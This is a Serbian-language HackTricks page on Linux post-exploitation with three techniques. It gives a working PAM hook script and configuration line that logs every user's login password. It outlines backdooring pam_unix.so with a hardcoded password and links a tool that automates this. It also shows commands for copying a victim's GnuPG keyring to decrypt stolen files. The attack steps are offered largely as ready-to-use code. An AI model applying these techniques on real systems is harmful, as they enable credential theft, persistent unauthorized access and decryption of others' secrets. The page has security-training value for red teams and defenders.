Linux Post-Exploitation
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Sniffing Logon Passwords with PAM
Konfigurišimo PAM modul koji će beležiti svaku lozinku koju korisnik koristi za prijavu. Ako ne znate šta je PAM pogledajte:
PAM - Pluggable Authentication Modules
For further details check the original post. Ovo je samo rezime:
Pregled tehnike: Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentifikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj rezime prikazuje tehniku za hvatanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja.
Prikupljanje kredencijala:
- Napravljen je bash skript pod imenom
toomanysecrets.sh
koji beleži pokušaje prijave, snimajući datum, korisničko ime ($PAM_USER
), lozinku (preko stdin) i IP udaljenog hosta ($PAM_RHOST
) u/var/log/toomanysecrets.log
. - Skript je učinjen izvršnim i integrisan u PAM konfiguraciju (
common-auth
) koristećipam_exec.so
modul sa opcijama da radi tiho i da izloži token autentifikacije skriptu. - Pristup pokazuje kako kompromitovani Linux host može biti iskorišćen za diskretno beleženje kredencijala.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Za više detalja pogledajte original post. Ovo je samo rezime:
Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: username, password, i service. Konfiguracioni fajlovi za svaki service se nalaze u direktorijumu /etc/pam.d/
, gde deljene biblioteke obrađuju autentifikaciju.
Cilj: Izmeniti PAM tako da dozvoli autentifikaciju sa specifičnom lozinkom, zaobilaženjem stvarne korisničke lozinke. Ovo je posebno fokusirano na deljenu biblioteku pam_unix.so
koja se koristi od strane fajla common-auth
, koji je uključen u skoro sve servise za verifikaciju lozinke.
Koraci za modifikaciju pam_unix.so
:
- Pronađite direktivu za autentifikaciju u fajlu
common-auth
:
- Linija odgovorna za proveru korisničkog password-a poziva
pam_unix.so
.
- Izmenite izvorni kod:
- Dodajte uslovnu izjavu u izvorni fajl
pam_unix_auth.c
koja daje pristup ako se koristi unapred definisan password, u suprotnom nastavlja sa uobičajenim procesom autentifikacije.
- Rekompajlirajte i zamenite izmenjenu biblioteku
pam_unix.so
u odgovarajućem direktorijumu. - Testiranje:
- Pristup je dodeljen na različitim servisima (login, ssh, sudo, su, screensaver) sa unapred definisanim password-om, dok uobičajeni procesi autentifikacije ostaju nepromenjeni.
tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
Dešifrovanje GPG loot putem relokacije homedir
Ako pronađete enkriptovani .gpg
fajl i korisnikov ~/.gnupg
folder (pubring, private-keys, trustdb), ali ne možete dešifrovati zbog permisija/zaključavanja GnuPG homedir-a, kopirajte keyring u lokaciju u koju se može pisati i koristite ga kao svoj GPG home.
Tipične greške koje ćete videti bez ovoga: "unsafe ownership on homedir", "failed to create temporary file", ili "decryption failed: No secret key" (jer GPG ne može da čita/piše originalni homedir).
Tok rada:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Ako je materijal tajnog ključa prisutan u private-keys-v1.d
, GPG će otključati i dešifrovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen).
References
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.